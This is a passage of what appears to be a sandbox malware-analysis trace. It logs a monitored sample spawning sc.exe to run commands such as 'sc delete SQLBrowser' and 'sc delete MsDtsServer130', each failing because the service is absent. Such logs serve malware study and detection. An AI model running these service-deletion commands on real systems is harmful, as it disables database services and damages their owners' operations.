"XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x904 [0069.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fef0 | out: lpSystemTimeAsFileTime=0x24fef0*(dwLowDateTime=0x419406b0, dwHighDateTime=0x1d62774)) [0069.102] GetCurrentProcessId () returned 0x8f4 [0069.102] GetCurrentThreadId () returned 0x904 [0069.102] GetTickCount () returned 0x1148d90 [0069.102] QueryPerformanceCounter (in: lpPerformanceCount=0x24fef8 | out: lpPerformanceCount=0x24fef8*=18877749160) returned 1 [0069.103] GetModuleHandleW (lpModuleName=0x0) returned 0xff0e0000 [0069.103] __set_app_type (_Type=0x1) [0069.103] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0e7228) returned 0x0 [0069.105] __wgetmainargs (in: _Argc=0xff0eb604, _Argv=0xff0eb610, _Env=0xff0eb608, _DoWildCard=0, _StartInfo=0xff0eb050 | out: _Argc=0xff0eb604, _Argv=0xff0eb610, _Env=0xff0eb608) returned 0 [0069.106] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.108] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0069.109] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0069.109] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0069.109] _wcsicmp (_String1="delete", _String2="query") returned -13 [0069.109] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0069.109] _wcsicmp (_String1="delete", _String2="start") returned -15 [0069.109] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0069.109] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0069.109] _wcsicmp (_String1="delete", _String2="control") returned 1 [0069.109] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0069.109] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0069.109] _wcsicmp (_String1="delete", _String2="config") returned 1 [0069.109] _wcsicmp (_String1="delete", _String2="description") returned -7 [0069.109] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0069.109] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0069.109] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0069.109] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0069.109] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0069.109] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0069.109] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0069.109] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0069.109] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0069.109] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0069.109] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0069.109] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0069.109] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0069.109] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0069.110] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0069.110] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0069.110] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0069.110] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0069.110] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3543d0 [0069.114] OpenServiceW (hSCManager=0x3543d0, lpServiceName="SQLSERVERAGENT", dwDesiredAccess=0x10000) returned 0x0 [0069.115] GetLastError () returned 0x424 [0069.115] _itow (in: _Dest=0x424, _Radix=2424152 | out: _Dest=0x424) returned="1060" [0069.115] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff0eb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0069.117] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24fd10, nSize=0x2, Arguments=0x24fd40 | out: lpBuffer="趰5") returned 0x62 [0069.118] GetFileType (hFile=0x120) returned 0x3 [0069.118] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x358e90 [0069.118] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x358e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n5", lpUsedDefaultChar=0x0) returned 98 [0069.118] WriteFile (in: hFile=0x120, lpBuffer=0x358e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24fcb8, lpOverlapped=0x0 | out: lpBuffer=0x358e90*, lpNumberOfBytesWritten=0x24fcb8*=0x62, lpOverlapped=0x0) returned 1 [0069.118] LocalFree (hMem=0x358e90) returned 0x0 [0069.118] LocalFree (hMem=0x358db0) returned 0x0 [0069.118] LocalFree (hMem=0x0) returned 0x0 [0069.118] CloseServiceHandle (hSCObject=0x3543d0) returned 1 [0069.122] exit (_Code=1060) Thread: id = 27 os_tid = 0x914 Process: id = "15" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f109000" os_pid = "0x924" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete SQLBrowser" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0x934 [0069.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fc90 | out: lpSystemTimeAsFileTime=0x16fc90*(dwLowDateTime=0x41a4b050, dwHighDateTime=0x1d62774)) [0069.389] GetCurrentProcessId () returned 0x924 [0069.390] GetCurrentThreadId () returned 0x934 [0069.390] GetTickCount () returned 0x1148dfd [0069.390] QueryPerformanceCounter (in: lpPerformanceCount=0x16fc98 | out: lpPerformanceCount=0x16fc98*=18906522723) returned 1 [0069.391] GetModuleHandleW (lpModuleName=0x0) returned 0xff960000 [0069.391] __set_app_type (_Type=0x1) [0069.391] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff967228) returned 0x0 [0069.392] __wgetmainargs (in: _Argc=0xff96b604, _Argv=0xff96b610, _Env=0xff96b608, _DoWildCard=0, _StartInfo=0xff96b050 | out: _Argc=0xff96b604, _Argv=0xff96b610, _Env=0xff96b608) returned 0 [0069.392] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.394] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0069.394] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0069.394] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0069.394] _wcsicmp (_String1="delete", _String2="query") returned -13 [0069.394] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0069.394] _wcsicmp (_String1="delete", _String2="start") returned -15 [0069.394] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0069.394] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0069.394] _wcsicmp (_String1="delete", _String2="control") returned 1 [0069.394] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0069.394] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0069.394] _wcsicmp (_String1="delete", _String2="config") returned 1 [0069.394] _wcsicmp (_String1="delete", _String2="description") returned -7 [0069.394] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0069.394] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0069.394] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0069.394] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0069.394] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0069.394] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0069.394] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0069.395] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0069.395] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0069.395] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0069.395] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0069.395] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0069.395] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0069.395] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0069.395] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0069.395] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0069.395] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0069.395] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0069.395] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2c4370 [0069.401] OpenServiceW (hSCManager=0x2c4370, lpServiceName="SQLBrowser", dwDesiredAccess=0x10000) returned 0x0 [0069.402] GetLastError () returned 0x424 [0069.402] _itow (in: _Dest=0x424, _Radix=1506040 | out: _Dest=0x424) returned="1060" [0069.402] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff96b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0069.404] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16fab0, nSize=0x2, Arguments=0x16fae0 | out: lpBuffer="跀,") returned 0x62 [0069.404] GetFileType (hFile=0x120) returned 0x3 [0069.404] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2c8ea0 [0069.404] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2c8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n,", lpUsedDefaultChar=0x0) returned 98 [0069.404] WriteFile (in: hFile=0x120, lpBuffer=0x2c8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16fa58, lpOverlapped=0x0 | out: lpBuffer=0x2c8ea0*, lpNumberOfBytesWritten=0x16fa58*=0x62, lpOverlapped=0x0) returned 1 [0069.404] LocalFree (hMem=0x2c8ea0) returned 0x0 [0069.404] LocalFree (hMem=0x2c8dc0) returned 0x0 [0069.404] LocalFree (hMem=0x0) returned 0x0 [0069.404] CloseServiceHandle (hSCObject=0x2c4370) returned 1 [0069.408] exit (_Code=1060) Thread: id = 29 os_tid = 0x944 Process: id = "16" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3eb0e000" os_pid = "0x954" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete SQLTELEMETRY" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 30 os_tid = 0x964 [0069.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28f850 | out: lpSystemTimeAsFileTime=0x28f850*(dwLowDateTime=0x41b2f890, dwHighDateTime=0x1d62774)) [0069.497] GetCurrentProcessId () returned 0x954 [0069.497] GetCurrentThreadId () returned 0x964 [0069.497] GetTickCount () returned 0x1148e5b [0069.497] QueryPerformanceCounter (in: lpPerformanceCount=0x28f858 | out: lpPerformanceCount=0x28f858*=18917227354) returned 1 [0069.498] GetModuleHandleW (lpModuleName=0x0) returned 0xff610000 [0069.498] __set_app_type (_Type=0x1) [0069.498] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff617228) returned 0x0 [0069.498] __wgetmainargs (in: _Argc=0xff61b604, _Argv=0xff61b610, _Env=0xff61b608, _DoWildCard=0, _StartInfo=0xff61b050 | out: _Argc=0xff61b604, _Argv=0xff61b610, _Env=0xff61b608) returned 0 [0069.499] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.501] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0069.501] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0069.501] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0069.501] _wcsicmp (_String1="delete", _String2="query") returned -13 [0069.501] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0069.501] _wcsicmp (_String1="delete", _String2="start") returned -15 [0069.501] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0069.501] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0069.501] _wcsicmp (_String1="delete", _String2="control") returned 1 [0069.501] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0069.501] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0069.501] _wcsicmp (_String1="delete", _String2="config") returned 1 [0069.501] _wcsicmp (_String1="delete", _String2="description") returned -7 [0069.501] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0069.501] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0069.501] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0069.501] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0069.501] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0069.501] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0069.501] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0069.502] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0069.502] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0069.502] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0069.502] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0069.502] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0069.502] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0069.502] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0069.502] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0069.502] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0069.502] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0069.502] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0069.502] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xd4370 [0069.505] OpenServiceW (hSCManager=0xd4370, lpServiceName="SQLTELEMETRY", dwDesiredAccess=0x10000) returned 0x0 [0069.505] GetLastError () returned 0x424 [0069.506] _itow (in: _Dest=0x424, _Radix=2684600 | out: _Dest=0x424) returned="1060" [0069.506] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff61b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0069.507] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28f670, nSize=0x2, Arguments=0x28f6a0 | out: lpBuffer="跀\r") returned 0x62 [0069.508] GetFileType (hFile=0x120) returned 0x3 [0069.508] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0xd8ea0 [0069.508] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0xd8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\r", lpUsedDefaultChar=0x0) returned 98 [0069.508] WriteFile (in: hFile=0x120, lpBuffer=0xd8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28f618, lpOverlapped=0x0 | out: lpBuffer=0xd8ea0*, lpNumberOfBytesWritten=0x28f618*=0x62, lpOverlapped=0x0) returned 1 [0069.508] LocalFree (hMem=0xd8ea0) returned 0x0 [0069.508] LocalFree (hMem=0xd8dc0) returned 0x0 [0069.508] LocalFree (hMem=0x0) returned 0x0 [0069.508] CloseServiceHandle (hSCObject=0xd4370) returned 1 [0069.689] exit (_Code=1060) Thread: id = 31 os_tid = 0x974 Process: id = "17" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f513000" os_pid = "0x984" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete MsDtsServer130" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 32 os_tid = 0x994 [0069.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fa30 | out: lpSystemTimeAsFileTime=0x26fa30*(dwLowDateTime=0x41c140d0, dwHighDateTime=0x1d62774)) [0069.745] GetCurrentProcessId () returned 0x984 [0069.745] GetCurrentThreadId () returned 0x994 [0069.745] GetTickCount () returned 0x1148eb9 [0069.745] QueryPerformanceCounter (in: lpPerformanceCount=0x26fa38 | out: lpPerformanceCount=0x26fa38*=18942036576) returned 1 [0069.746] GetModuleHandleW (lpModuleName=0x0) returned 0xfffe0000 [0069.746] __set_app_type (_Type=0x1) [0069.746] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffe7228) returned 0x0 [0069.746] __wgetmainargs (in: _Argc=0xfffeb604, _Argv=0xfffeb610, _Env=0xfffeb608, _DoWildCard=0, _StartInfo=0xfffeb050 | out: _Argc=0xfffeb604, _Argv=0xfffeb610, _Env=0xfffeb608) returned 0 [0069.747] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.752] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0069.752] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0069.752] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0069.752] _wcsicmp (_String1="delete", _String2="query") returned -13 [0069.752] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0069.752] _wcsicmp (_String1="delete", _String2="start") returned -15 [0069.752] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0069.752] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0069.752] _wcsicmp (_String1="delete", _String2="control") returned 1 [0069.752] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0069.752] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0069.752] _wcsicmp (_String1="delete", _String2="config") returned 1 [0069.753] _wcsicmp (_String1="delete", _String2="description") returned -7 [0069.753] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0069.753] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0069.753] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0069.753] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0069.753] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0069.753] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0069.753] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0069.753] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0069.753] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0069.753] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0069.753] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0069.753] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0069.753] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0069.753] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0069.753] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0069.753] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0069.753] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0069.753] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0069.753] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3a43d0 [0069.757] OpenServiceW (hSCManager=0x3a43d0, lpServiceName="MsDtsServer130", dwDesiredAccess=0x10000) returned 0x0 [0069.757] GetLastError () returned 0x424 [0069.757] _itow (in: _Dest=0x424, _Radix=2554008 | out: _Dest=0x424) returned="1060" [0069.757] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfffeb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0069.759] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x26f850, nSize=0x2, Arguments=0x26f880 | out: lpBuffer="趰:") returned 0x62 [0069.759] GetFileType (hFile=0x120) returned 0x3 [0069.760] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3a8e90 [0069.760] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3a8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n:", lpUsedDefaultChar=0x0) returned 98 [0069.760] WriteFile (in: hFile=0x120, lpBuffer=0x3a8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x26f7f8, lpOverlapped=0x0 | out: lpBuffer=0x3a8e90*, lpNumberOfBytesWritten=0x26f7f8*=0x62, lpOverlapped=0x0) returned 1 [0069.760] LocalFree (hMem=0x3a8e90) returned 0x0 [0069.760] LocalFree (hMem=0x3a8db0) returned 0x0 [0069.760] LocalFree (hMem=0x0) returned 0x0 [0069.760] CloseServiceHandle (hSCObject=0x3a43d0) returned 1 [0069.762] exit (_Code=1060) Thread: id = 33 os_tid = 0x9a4 Process: id = "18" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3ff18000" os_pid = "0x9b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete SSISTELEMETRY130" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 34 os_tid = 0x9c4 [0069.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xeff30 | out: lpSystemTimeAsFileTime=0xeff30*(dwLowDateTime=0x41cac650, dwHighDateTime=0x1d62774)) [0069.817] GetCurrentProcessId () returned 0x9b4 [0069.817] GetCurrentThreadId () returned 0x9c4 [0069.817] GetTickCount () returned 0x1148ef7 [0069.817] QueryPerformanceCounter (in: lpPerformanceCount=0xeff38 | out: lpPerformanceCount=0xeff38*=18949252061) returned 1 [0069.818] GetModuleHandleW (lpModuleName=0x0) returned 0xff6c0000 [0069.818] __set_app_type (_Type=0x1) [0069.818] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff6c7228) returned 0x0 [0069.819] __wgetmainargs (in: _Argc=0xff6cb604, _Argv=0xff6cb610, _Env=0xff6cb608, _DoWildCard=0, _StartInfo=0xff6cb050 | out: _Argc=0xff6cb604, _Argv=0xff6cb610, _Env=0xff6cb608) returned 0 [0069.819] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.823] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0069.823] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0069.823] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0069.823] _wcsicmp (_String1="delete", _String2="query") returned -13 [0069.823] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0069.823] _wcsicmp (_String1="delete", _String2="start") returned -15 [0069.823] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0069.823] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0069.823] _wcsicmp (_String1="delete", _String2="control") returned 1 [0069.823] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0069.823] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0069.823] _wcsicmp (_String1="delete", _String2="config") returned 1 [0069.823] _wcsicmp (_String1="delete", _String2="description") returned -7 [0069.823] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0069.823] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0069.823] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0069.823] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0069.823] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0069.823] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0069.823] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0069.823] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0069.823] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0069.824] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0069.824] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0069.824] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0069.824] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0069.824] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0069.824] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0069.824] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0069.824] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0069.824] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0069.824] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2043d0 [0069.828] OpenServiceW (hSCManager=0x2043d0, lpServiceName="SSISTELEMETRY130", dwDesiredAccess=0x10000) returned 0x0 [0069.829] GetLastError () returned 0x424 [0069.829] _itow (in: _Dest=0x424, _Radix=982424 | out: _Dest=0x424) returned="1060" [0069.829] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff6cb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0069.831] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xefd50, nSize=0x2, Arguments=0xefd80 | out: lpBuffer="趰 ") returned 0x62 [0069.832] GetFileType 